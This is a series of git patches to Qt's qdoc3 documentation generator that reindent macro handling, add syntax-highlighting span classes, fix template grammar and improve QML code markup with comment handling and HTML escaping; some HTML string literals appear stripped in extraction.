Location::internalError(tr("command %1 missing").arg(i)); + i++; } QSet macroNames = config.subVars(CONFIG_MACRO); QSet::ConstIterator n = macroNames.begin(); while (n != macroNames.end()) { - QString macroDotName = CONFIG_MACRO + Config::dot + *n; - Macro macro; - macro.numParams = -1; - macro.defaultDef = config.getString(macroDotName); - if (!macro.defaultDef.isEmpty()) { - macro.defaultDefLocation = config.lastLocation(); - macro.numParams = Config::numParams(macro.defaultDef); - } - bool silent = false; - - QSet formats = config.subVars(macroDotName); - QSet::ConstIterator f = formats.begin(); - while (f != formats.end()) { - QString def = config.getString(macroDotName + Config::dot + *f); - if (!def.isEmpty()) { - macro.otherDefs.insert(*f, def); - int m = Config::numParams(macro.defaultDef); - if (macro.numParams == -1) { - macro.numParams = m; - } + QString macroDotName = CONFIG_MACRO + Config::dot + *n; + Macro macro; + macro.numParams = -1; + macro.defaultDef = config.getString(macroDotName); + if (!macro.defaultDef.isEmpty()) { + macro.defaultDefLocation = config.lastLocation(); + macro.numParams = Config::numParams(macro.defaultDef); + } + bool silent = false; + + QSet formats = config.subVars(macroDotName); + QSet::ConstIterator f = formats.begin(); + while (f != formats.end()) { + QString def = config.getString(macroDotName + Config::dot + *f); + if (!def.isEmpty()) { + macro.otherDefs.insert(*f, def); + int m = Config::numParams(macro.defaultDef); + if (macro.numParams == -1) { + macro.numParams = m; + } else if (macro.numParams != m) { - if (!silent) { - QString other = tr("default"); - if (macro.defaultDef.isEmpty()) - other = macro.otherDefs.begin().key(); - config.lastLocation().warning(tr("Macro '\\%1' takes" - " inconsistent number" - " of arguments (%2" - " %3, %4 %5)") - .arg(*n) - .arg(*f) - .arg(m) - .arg(other) - .arg(macro.numParams)); - silent = true; - } - if (macro.numParams < m) - macro.numParams = m; - } - } - ++f; - } - - if (macro.numParams != -1) - macroHash()->insert(*n, macro); - ++n; + if (!silent) { + QString other = tr("default"); + if (macro.defaultDef.isEmpty()) + other = macro.otherDefs.begin().key(); + config.lastLocation().warning(tr("Macro '\\%1' takes" + " inconsistent number" + " of arguments (%2" + " %3, %4 %5)") + .arg(*n) + .arg(*f) + .arg(m) + .arg(other) + .arg(macro.numParams)); + silent = true; + } + if (macro.numParams < m) + macro.numParams = m; + } + } + ++f; + } + + if (macro.numParams != -1) + macroHash()->insert(*n, macro); + ++n; } } @@ -2935,27 +2934,27 @@ void Doc::trimCStyleComment(Location& location, QString& str) int i; for (i = 0; i < (int) str.length(); i++) { - if (m.columnNo() == asterColumn) { - if (str[i] != '*') - break; - cleaned += ' '; - metAsterColumn = true; - } + if (m.columnNo() == asterColumn) { + if (str[i] != '*') + break; + cleaned += ' '; + metAsterColumn = true; + } else { - if (str[i] == '\n') { - if (!metAsterColumn) - break; - metAsterColumn = false; - } - cleaned += str[i]; - } - m.advance(str[i]); + if (str[i] == '\n') { + if (!metAsterColumn) + break; + metAsterColumn = false; + } + cleaned += str[i]; + } + m.advance(str[i]); } if (cleaned.length() == str.length()) - str = cleaned; + str = cleaned; for (int i = 0; i < 3; i++) - location.advance(str[i]); + location.advance(str[i]); str = str.mid(3, str.length() - 5); } @@ -2971,19 +2970,19 @@ CodeMarker *Doc::quoteFromFile(const Location &location, QString filePath = Config::findFile(location, DocParser::exampleFiles, DocParser::exampleDirs, - fileName, userFriendlyFilePath); + fileName, userFriendlyFilePath); if (filePath.isEmpty()) { - location.warning(tr("Cannot find example file '%1'").arg(fileName)); + location.warning(tr("Cannot find example file '%1'").arg(fileName)); } else { - QFile inFile(filePath); - if (!inFile.open(QFile::ReadOnly)) { - location.warning(tr("Cannot open example file '%1'").arg(userFriendlyFilePath)); - } + QFile inFile(filePath); + if (!inFile.open(QFile::ReadOnly)) { + location.warning(tr("Cannot open example file '%1'").arg(userFriendlyFilePath)); + } else { - QTextStream inStream(&inFile); - code = DocParser::untabifyEtc(inStream.readAll()); - } + QTextStream inStream(&inFile); + code = DocParser::untabifyEtc(inStream.readAll()); + } } QString dirPath = QFileInfo(filePath).path(); -- cgit v0.12 From 04e6c74420ba808a3bd9ae502ff12c60cc6b58f8 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 29 Nov 2010 19:58:43 +0100 Subject: Added more span classes to make the QML output more colorful. --- tools/qdoc3/htmlgenerator.cpp | 43 ++++++++++++++++++++++++++++++------------- 1 file changed, 30 insertions(+), 13 deletions(-) diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index 9f5f182..b4e9d2a 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -89,7 +89,7 @@ static bool showBrokenLinks = false; static QRegExp linkTag("(<@link node=\"([^\"]+)\">).*()"); static QRegExp funcTag("(<@func target=\"([^\"]*)\">)(.*)()"); static QRegExp typeTag("(<@(type|headerfile|func)(?: +[^>]*)?>)(.*)()"); -static QRegExp spanTag(""); +static QRegExp spanTag(""); static QRegExp unknownTag("]*>"); bool parseArg(const QString &src, @@ -216,8 +216,8 @@ HtmlGenerator::HtmlGenerator() numTableRows(0), threeColumnEnumValueTable(true), funcLeftParen("\\S(\\()"), - myTree(0), inObsoleteLink(false), + myTree(0), slow(false), obsoleteLinks(false) { @@ -1476,7 +1476,7 @@ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker) return; } #endif - + sections = marker->sections(fake, CodeMarker::Summary, CodeMarker::Okay); s = sections.begin(); while (s != sections.end()) { @@ -2846,23 +2846,40 @@ QString HtmlGenerator::highlightedCode(const QString& markedCode, // "<@preprocessor>" -> ""; // "<@string>" -> ""; // "<@char>" -> ""; - // "" -> "" + // "<@number>" -> ""; + // "<@op>" -> ""; + // "<@type>" -> ""; + // "<@name>" -> ""; + // "<@keyword>" -> ""; + // "" -> "" src = html; html = QString(); static const QString spanTags[] = { - "<@comment>", "", - "<@preprocessor>", "", - "<@string>", "", - "<@char>", "", - "", "", - "","", - "", "", - "", "" + "<@comment>", "", + "<@preprocessor>", "", + "<@string>", "", + "<@char>", "", + "<@number>", "", + "<@op>", "", + "<@type>", "", + "<@name>", "", + "<@keyword>", "", + "", "", + "", "", + "", "", + "", "", + "", "", + "", "", + "", "", + "", "", + "", "", }; + // Update the upper bound of k in the following code to match the length + // of the above array. for (int i = 0, n = src.size(); i < n;) { if (src.at(i) == charLangle) { bool handled = false; - for (int k = 0; k != 8; ++k) { + for (int k = 0; k != 18; ++k) { const QString & tag = spanTags[2 * k]; if (tag == QStringRef(&src, i, tag.length())) { html += spanTags[2 * k + 1]; -- cgit v0.12 From 7072882e6873782f258fa3f7d2acee801226d8c0 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 29 Nov 2010 19:59:45 +0100 Subject: Fixed grammar. --- tools/qdoc3/test/qt-html-templates-online.qdocconf | 2 +- tools/qdoc3/test/qt-html-templates.qdocconf | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/tools/qdoc3/test/qt-html-templates-online.qdocconf b/tools/qdoc3/test/qt-html-templates-online.qdocconf index 7ed8c90..1d55cee 100644 --- a/tools/qdoc3/test/qt-html-templates-online.qdocconf +++ b/tools/qdoc3/test/qt-html-templates-online.qdocconf @@ -126,7 +126,7 @@ HTML.postheader = \ "
    \n" \ "
      \n" \ "
    • Home
    • \n" \ - " \n" + " \n" HTML.postpostheader = \ "
    \n" \ diff --git a/tools/qdoc3/test/qt-html-templates.qdocconf b/tools/qdoc3/test/qt-html-templates.qdocconf index bbd1b21..67ce95a 100644 --- a/tools/qdoc3/test/qt-html-templates.qdocconf +++ b/tools/qdoc3/test/qt-html-templates.qdocconf @@ -13,7 +13,7 @@ HTML.postheader = \ "
    \n" \ "
      \n" \ "
    • Home
    • \n" \ - " \n" + " \n" HTML.postpostheader = \ "
    \n" \ -- cgit v0.12 From 361fa33371a855e82b63b4d45b2ffe36fed82867 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 29 Nov 2010 20:00:26 +0100 Subject: Made further refinements to the node traversal and comment handling. --- tools/qdoc3/qmlmarkupvisitor.cpp | 285 ++++++++++++++++++++++++--------------- tools/qdoc3/qmlmarkupvisitor.h | 10 +- 2 files changed, 186 insertions(+), 109 deletions(-) diff --git a/tools/qdoc3/qmlmarkupvisitor.cpp b/tools/qdoc3/qmlmarkupvisitor.cpp index 72a2334..4564dc5 100644 --- a/tools/qdoc3/qmlmarkupvisitor.cpp +++ b/tools/qdoc3/qmlmarkupvisitor.cpp @@ -40,7 +40,6 @@ ****************************************************************************/ #include -#include #include #include #include "private/qdeclarativejsast_p.h" @@ -51,42 +50,116 @@ QT_BEGIN_NAMESPACE -QmlMarkupVisitor::QmlMarkupVisitor(const QString &source, bool debug) +QmlMarkupVisitor::QmlMarkupVisitor(const QString &source, QDeclarativeJS::Engine *engine) { this->source = source; + this->engine = engine; indent = 0; cursor = 0; - showDebug = debug; + commentIndex = 0; + debug += QString("Comments %1\n").arg(engine->comments().length()); } QmlMarkupVisitor::~QmlMarkupVisitor() { } +// The protect() function is a copy of the one from CppCodeMarker. + +static const QString samp = QLatin1String("&"); +static const QString slt = QLatin1String("<"); +static const QString sgt = QLatin1String(">"); +static const QString squot = QLatin1String("""); + +QString QmlMarkupVisitor::protect(const QString& str) +{ + int n = str.length(); + QString marked; + marked.reserve(n * 2 + 30); + const QChar *data = str.constData(); + for (int i = 0; i != n; ++i) { + switch (data[i].unicode()) { + case '&': marked += samp; break; + case '<': marked += slt; break; + case '>': marked += sgt; break; + case '"': marked += squot; break; + default : marked += data[i]; + } + } + return marked; +} + QString QmlMarkupVisitor::markedUpCode() { if (cursor < source.length()) - return output + source.mid(cursor); - else - return output; + addExtra(cursor, source.length()); + + //qDebug() << debug; + qDebug() << output; + return output; } -void QmlMarkupVisitor::addMarkedUpToken( - QDeclarativeJS::AST::SourceLocation &location, const QString &text) +void QmlMarkupVisitor::addExtra(quint32 start, quint32 finish) { - //qDebug() << "t**" << cursor << location.offset; - if (location.offset > cursor) { - QString extra = source.mid(cursor, location.offset - cursor); + if (commentIndex >= engine->comments().length()) { + QString extra = source.mid(start, finish - start); if (extra.trimmed().isEmpty()) output += extra; else - output += "<<<" + extra + ">>>"; - //qDebug() << "+++" << source.mid(cursor, location.offset - cursor); - cursor += location.offset; + output += protect(extra); // text that should probably have been caught by the parser + + cursor = finish; + return; } - //qDebug() << "-->" << text; - output += text; + while (commentIndex < engine->comments().length()) { + if (engine->comments()[commentIndex].offset - 2 >= start) + break; + commentIndex++; + } + + quint32 i = start; + while (i < finish && commentIndex < engine->comments().length()) { + quint32 j = engine->comments()[commentIndex].offset - 2; + if (i <= j && j < finish) { + if (i < j) + output += protect(source.mid(i, j - i)); + + quint32 l = engine->comments()[commentIndex].length; + if (source.mid(j, 2) == QLatin1String("/*")) + l += 4; + else + l += 2; + output += QLatin1String("<@comment>"); + output += protect(source.mid(j, l)); + output += QLatin1String(""); + commentIndex++; + i = j + l; + } else + break; + } + + QString extra = source.mid(i, finish - i); + if (extra.trimmed().isEmpty()) + output += extra; + else + output += protect(extra); // text that should probably have been caught by the parser + + cursor = finish; +} + +void QmlMarkupVisitor::addMarkedUpToken( + QDeclarativeJS::AST::SourceLocation &location, const QString &tagName) +{ + if (!location.isValid()) + return; + + if (cursor < location.offset) + addExtra(cursor, location.offset); + else if (cursor > location.offset) + debug += QString("%1 %2\n").arg(cursor).arg(location.offset); + + output += QString(QLatin1String("<@%1>%2")).arg(tagName, protect(sourceText(location)), tagName); cursor += location.length; } @@ -98,36 +171,31 @@ QString QmlMarkupVisitor::sourceText(QDeclarativeJS::AST::SourceLocation &locati void QmlMarkupVisitor::addVerbatim(QDeclarativeJS::AST::SourceLocation first, QDeclarativeJS::AST::SourceLocation last) { + if (!first.isValid()) + return; + quint32 start = first.begin(); - //qDebug() << "v**" << cursor << start; quint32 finish; if (last.isValid()) finish = last.end(); else finish = first.end(); - if (start > cursor) { - QString extra = source.mid(cursor, start - cursor); - if (extra.trimmed().isEmpty()) - output += extra; - else - output += "<<<" + extra + ">>>"; - //qDebug() << "+++" << source.mid(cursor, start - cursor); - cursor = start; - } + if (cursor < start) + addExtra(cursor, start); + else if (cursor > start) + debug += QString("%1 %2 %3 x\n").arg(sourceText(first)).arg(cursor).arg(start); QString text = source.mid(start, finish - start); - //qDebug() << "-->" << text; write(text); indent -= 1; - output += text; - cursor += text.length(); + output += protect(text); + cursor = finish; } void QmlMarkupVisitor::write(const QString &text) { - if (showDebug) - qDebug() << QString().fill(QChar(' '), indent) << text; + debug += QString().fill(QChar(' '), indent) + text + QLatin1String("\n"); indent += 1; } @@ -152,8 +220,8 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiImport *uiimport) write(""); addVerbatim(uiimport->importToken); if (!uiimport->importUri) - addVerbatim(uiimport->fileNameToken); - return true; + addMarkedUpToken(uiimport->fileNameToken, QLatin1String("headerfile")); + return false; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiImport *uiimport) @@ -161,7 +229,7 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiImport *uiimport) endWrite(""); addVerbatim(uiimport->versionToken); addVerbatim(uiimport->asToken); - addVerbatim(uiimport->importIdToken); + addMarkedUpToken(uiimport->importIdToken, QLatin1String("headerfile")); addVerbatim(uiimport->semicolonToken); //endWrite(""); } @@ -174,23 +242,23 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiPublicMember *member) addVerbatim(member->readonlyToken); addVerbatim(member->propertyToken); addVerbatim(member->typeModifierToken); - addVerbatim(member->typeToken); - addVerbatim(member->identifierToken); + addMarkedUpToken(member->typeToken, QLatin1String("type")); + addMarkedUpToken(member->identifierToken, QLatin1String("name")); addVerbatim(member->colonToken); QDeclarativeJS::AST::Node::accept(member->binding, this); } else { addVerbatim(member->propertyToken); addVerbatim(member->typeModifierToken); - addVerbatim(member->typeToken); + addMarkedUpToken(member->typeToken, QLatin1String("type")); //addVerbatim(member->identifierToken); QDeclarativeJS::AST::Node::accept(member->parameters, this); } - return true; + addVerbatim(member->semicolonToken); + return false; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiPublicMember *member) { - addVerbatim(member->semicolonToken); endWrite(""); } @@ -279,7 +347,7 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiArrayMemberList *list) write(""); for (QDeclarativeJS::AST::UiArrayMemberList *it = list; it; it = it->next) { QDeclarativeJS::AST::Node::accept(it->member, this); - addVerbatim(it->commaToken); + //addVerbatim(it->commaToken); } return false; } @@ -292,7 +360,7 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiArrayMemberList *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiQualifiedId *id) { write(""); - addVerbatim(id->identifierToken); + addMarkedUpToken(id->identifierToken, QLatin1String("name")); return false; } @@ -317,7 +385,7 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiSignature *signature) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiFormal *formal) { write(""); - addVerbatim(formal->identifierToken); + addMarkedUpToken(formal->identifierToken, QLatin1String("name")); addVerbatim(formal->asToken); addVerbatim(formal->aliasToken); return false; @@ -344,8 +412,8 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ThisExpression *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::IdentifierExpression *identifier) { write(""); - addVerbatim(identifier->identifierToken); - return true; + addMarkedUpToken(identifier->identifierToken, QLatin1String("name")); + return false; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::IdentifierExpression *) @@ -357,7 +425,7 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::IdentifierExpression *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NullExpression *null) { write(""); - addVerbatim(null->nullToken); + addMarkedUpToken(null->nullToken, QLatin1String("number")); return true; } @@ -370,7 +438,7 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NullExpression *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TrueLiteral *literal) { write(""); - addVerbatim(literal->trueToken); + addMarkedUpToken(literal->trueToken, QLatin1String("number")); return true; } @@ -383,7 +451,7 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::TrueLiteral *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FalseLiteral *literal) { write(""); - addVerbatim(literal->falseToken); + addMarkedUpToken(literal->falseToken, QLatin1String("number")); return true; } @@ -396,10 +464,10 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FalseLiteral *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NumericLiteral *literal) { //write(""); - addVerbatim(literal->literalToken); - return true; + addMarkedUpToken(literal->literalToken, QLatin1String("number")); + return false; } - + void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NumericLiteral *) { //endWrite(""); @@ -409,10 +477,10 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NumericLiteral *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::StringLiteral *literal) { //write(""); - addVerbatim(literal->literalToken); + addMarkedUpToken(literal->literalToken, QLatin1String("string")); return true; } - + void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::StringLiteral *) { //endWrite(""); @@ -466,7 +534,7 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ElementList *list) write(""); for (QDeclarativeJS::AST::ElementList *it = list; it; it = it->next) { QDeclarativeJS::AST::Node::accept(it->expression, this); - addVerbatim(it->commaToken); + //addVerbatim(it->commaToken); } QDeclarativeJS::AST::Node::accept(list->elision, this); return false; @@ -571,7 +639,7 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FieldMemberExpression *express write(""); QDeclarativeJS::AST::Node::accept(expression->base, this); addVerbatim(expression->dotToken); - addVerbatim(expression->identifierToken); + addMarkedUpToken(expression->identifierToken, QLatin1String("name")); return false; } @@ -587,12 +655,13 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NewMemberExpression *expressio addVerbatim(expression->newToken); QDeclarativeJS::AST::Node::accept(expression->base, this); addVerbatim(expression->lparenToken); - return true; + QDeclarativeJS::AST::Node::accept(expression->arguments, this); + addVerbatim(expression->rparenToken); + return false; } - + void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NewMemberExpression *expression) { - addVerbatim(expression->rparenToken); endWrite(""); } @@ -745,7 +814,7 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UnaryMinusExpression *expressi addVerbatim(expression->minusToken); return true; } - + void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UnaryMinusExpression *) { endWrite(""); @@ -758,7 +827,7 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TildeExpression *expression) addVerbatim(expression->tildeToken); return true; } - + void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::TildeExpression *) { endWrite(""); @@ -771,7 +840,7 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NotExpression *expression) addVerbatim(expression->notToken); return true; } - + void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NotExpression *) { endWrite(""); @@ -782,7 +851,7 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::BinaryExpression *expression) { write(""); QDeclarativeJS::AST::Node::accept(expression->left, this); - addVerbatim(expression->operatorToken); + addMarkedUpToken(expression->operatorToken, QLatin1String("op")); QDeclarativeJS::AST::Node::accept(expression->right, this); return false; } @@ -798,7 +867,7 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ConditionalExpression *express write(""); return true; } - + void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ConditionalExpression *) { endWrite(""); @@ -816,7 +885,6 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Expression *) endWrite(""); } - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Block *block) { write(""); @@ -874,7 +942,7 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::VariableDeclarationList *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VariableDeclaration *declaration) { write(""); - addVerbatim(declaration->identifierToken); + addMarkedUpToken(declaration->identifierToken, QLatin1String("name")); QDeclarativeJS::AST::Node::accept(declaration->expression, this); return false; } @@ -914,11 +982,12 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ExpressionStatement *statem bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::IfStatement *statement) { write(""); - addVerbatim(statement->ifToken); + addMarkedUpToken(statement->ifToken, QLatin1String("keyword")); addVerbatim(statement->lparenToken); QDeclarativeJS::AST::Node::accept(statement->expression, this); addVerbatim(statement->rparenToken); QDeclarativeJS::AST::Node::accept(statement->ok, this); + //addMarkedUpToken(statement->elseToken, QLatin1String("keyword")); //addVerbatim(statement->elseToken); ### this token referred to the wrong source text for some reason QDeclarativeJS::AST::Node::accept(statement->ko, this); return false; @@ -933,9 +1002,9 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::IfStatement *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DoWhileStatement *statement) { write(""); - addVerbatim(statement->doToken); + addMarkedUpToken(statement->doToken, QLatin1String("keyword")); QDeclarativeJS::AST::Node::accept(statement->statement, this); - addVerbatim(statement->whileToken); + addMarkedUpToken(statement->whileToken, QLatin1String("keyword")); addVerbatim(statement->lparenToken); QDeclarativeJS::AST::Node::accept(statement->expression, this); addVerbatim(statement->rparenToken); @@ -954,7 +1023,7 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::WhileStatement *statement) write(""); return true; } - + void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::WhileStatement *) { endWrite(""); @@ -964,7 +1033,7 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::WhileStatement *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ForStatement *statement) { write(""); - addVerbatim(statement->forToken); + addMarkedUpToken(statement->forToken, QLatin1String("keyword")); addVerbatim(statement->lparenToken); QDeclarativeJS::AST::Node::accept(statement->initialiser, this); addVerbatim(statement->firstSemicolonToken); @@ -985,9 +1054,9 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ForStatement *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LocalForStatement *statement) { write(""); - addVerbatim(statement->forToken); + addMarkedUpToken(statement->forToken, QLatin1String("keyword")); addVerbatim(statement->lparenToken); - addVerbatim(statement->varToken); + addMarkedUpToken(statement->varToken, QLatin1String("keyword")); QDeclarativeJS::AST::Node::accept(statement->declarations, this); addVerbatim(statement->firstSemicolonToken); QDeclarativeJS::AST::Node::accept(statement->condition, this); @@ -1007,14 +1076,14 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::LocalForStatement *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ForEachStatement *statement) { write(""); - addVerbatim(statement->forToken); + addMarkedUpToken(statement->forToken, QLatin1String("keyword")); addVerbatim(statement->lparenToken); QDeclarativeJS::AST::Node::accept(statement->initialiser, this); addVerbatim(statement->inToken); QDeclarativeJS::AST::Node::accept(statement->expression, this); addVerbatim(statement->rparenToken); QDeclarativeJS::AST::Node::accept(statement->statement, this); - return true; + return false; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ForEachStatement *) @@ -1026,15 +1095,15 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ForEachStatement *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LocalForEachStatement *statement) { write(""); - addVerbatim(statement->forToken); + addMarkedUpToken(statement->forToken, QLatin1String("keyword")); addVerbatim(statement->lparenToken); - addVerbatim(statement->varToken); + addMarkedUpToken(statement->varToken, QLatin1String("keyword")); QDeclarativeJS::AST::Node::accept(statement->declaration, this); addVerbatim(statement->inToken); QDeclarativeJS::AST::Node::accept(statement->expression, this); addVerbatim(statement->rparenToken); QDeclarativeJS::AST::Node::accept(statement->statement, this); - return true; + return false; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::LocalForEachStatement *) @@ -1046,10 +1115,10 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::LocalForEachStatement *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ContinueStatement *statement) { write(""); - addVerbatim(statement->continueToken); - addVerbatim(statement->identifierToken); + addMarkedUpToken(statement->continueToken, QLatin1String("keyword")); + addMarkedUpToken(statement->identifierToken, QLatin1String("name")); addVerbatim(statement->semicolonToken); - return true; + return false; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ContinueStatement *) @@ -1061,10 +1130,10 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ContinueStatement *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::BreakStatement *statement) { write(""); - addVerbatim(statement->breakToken); - addVerbatim(statement->identifierToken); + addMarkedUpToken(statement->breakToken, QLatin1String("keyword")); + addMarkedUpToken(statement->identifierToken, QLatin1String("name")); addVerbatim(statement->semicolonToken); - return true; + return false; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::BreakStatement *) @@ -1076,7 +1145,7 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::BreakStatement *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ReturnStatement *statement) { write(""); - addVerbatim(statement->returnToken); + addMarkedUpToken(statement->returnToken, QLatin1String("keyword")); return true; } @@ -1090,7 +1159,7 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ReturnStatement *statement) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::WithStatement *statement) { write(""); - addVerbatim(statement->withToken); + addMarkedUpToken(statement->withToken, QLatin1String("keyword")); addVerbatim(statement->lparenToken); addVerbatim(statement->rparenToken); return true; @@ -1105,7 +1174,7 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::WithStatement *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CaseBlock *block) { write(""); - addVerbatim(block->lbraceToken, block->lbraceToken); + addVerbatim(block->lbraceToken); return true; } @@ -1119,7 +1188,7 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::CaseBlock *block) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::SwitchStatement *statement) { write(""); - addVerbatim(statement->switchToken); + addMarkedUpToken(statement->switchToken, QLatin1String("keyword")); addVerbatim(statement->lparenToken); QDeclarativeJS::AST::Node::accept(statement->expression, this); addVerbatim(statement->rparenToken); @@ -1146,7 +1215,7 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::CaseClauses *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CaseClause *clause) { write(""); - addVerbatim(clause->caseToken); + addMarkedUpToken(clause->caseToken, QLatin1String("keyword")); QDeclarativeJS::AST::Node::accept(clause->expression, this); addVerbatim(clause->colonToken); QDeclarativeJS::AST::Node::accept(clause->statements, this); @@ -1162,7 +1231,7 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::CaseClause *clause) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DefaultClause *clause) { write(""); - addVerbatim(clause->defaultToken, clause->defaultToken); + addMarkedUpToken(clause->defaultToken, QLatin1String("keyword")); addVerbatim(clause->colonToken, clause->colonToken); return true; } @@ -1176,10 +1245,10 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::DefaultClause *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LabelledStatement *statement) { write(""); - addVerbatim(statement->identifierToken); + addMarkedUpToken(statement->identifierToken, QLatin1String("name")); addVerbatim(statement->colonToken); QDeclarativeJS::AST::Node::accept(statement->statement, this); - return true; + return false; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::LabelledStatement *) @@ -1191,7 +1260,7 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::LabelledStatement *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ThrowStatement *statement) { write(""); - addVerbatim(statement->throwToken); + addMarkedUpToken(statement->throwToken, QLatin1String("keyword")); QDeclarativeJS::AST::Node::accept(statement->expression, this); addVerbatim(statement->semicolonToken); return false; @@ -1206,11 +1275,11 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ThrowStatement *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Catch *c) { write(""); - addVerbatim(c->catchToken, c->catchToken); - addVerbatim(c->lparenToken, c->lparenToken); - addVerbatim(c->identifierToken, c->identifierToken); - addVerbatim(c->rparenToken, c->rparenToken); - return true; + addMarkedUpToken(c->catchToken, QLatin1String("keyword")); + addVerbatim(c->lparenToken); + addMarkedUpToken(c->identifierToken, QLatin1String("name")); + addVerbatim(c->rparenToken); + return false; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Catch *) @@ -1222,7 +1291,7 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Catch *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Finally *f) { write(""); - addVerbatim(f->finallyToken); + addMarkedUpToken(f->finallyToken, QLatin1String("keyword")); QDeclarativeJS::AST::Node::accept(f->statement, this); return false; } @@ -1236,7 +1305,7 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Finally *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TryStatement *statement) { write(""); - addVerbatim(statement->tryToken); + addMarkedUpToken(statement->tryToken, QLatin1String("keyword")); QDeclarativeJS::AST::Node::accept(statement->statement, this); QDeclarativeJS::AST::Node::accept(statement->catchExpression, this); QDeclarativeJS::AST::Node::accept(statement->finallyExpression, this); @@ -1252,8 +1321,8 @@ void 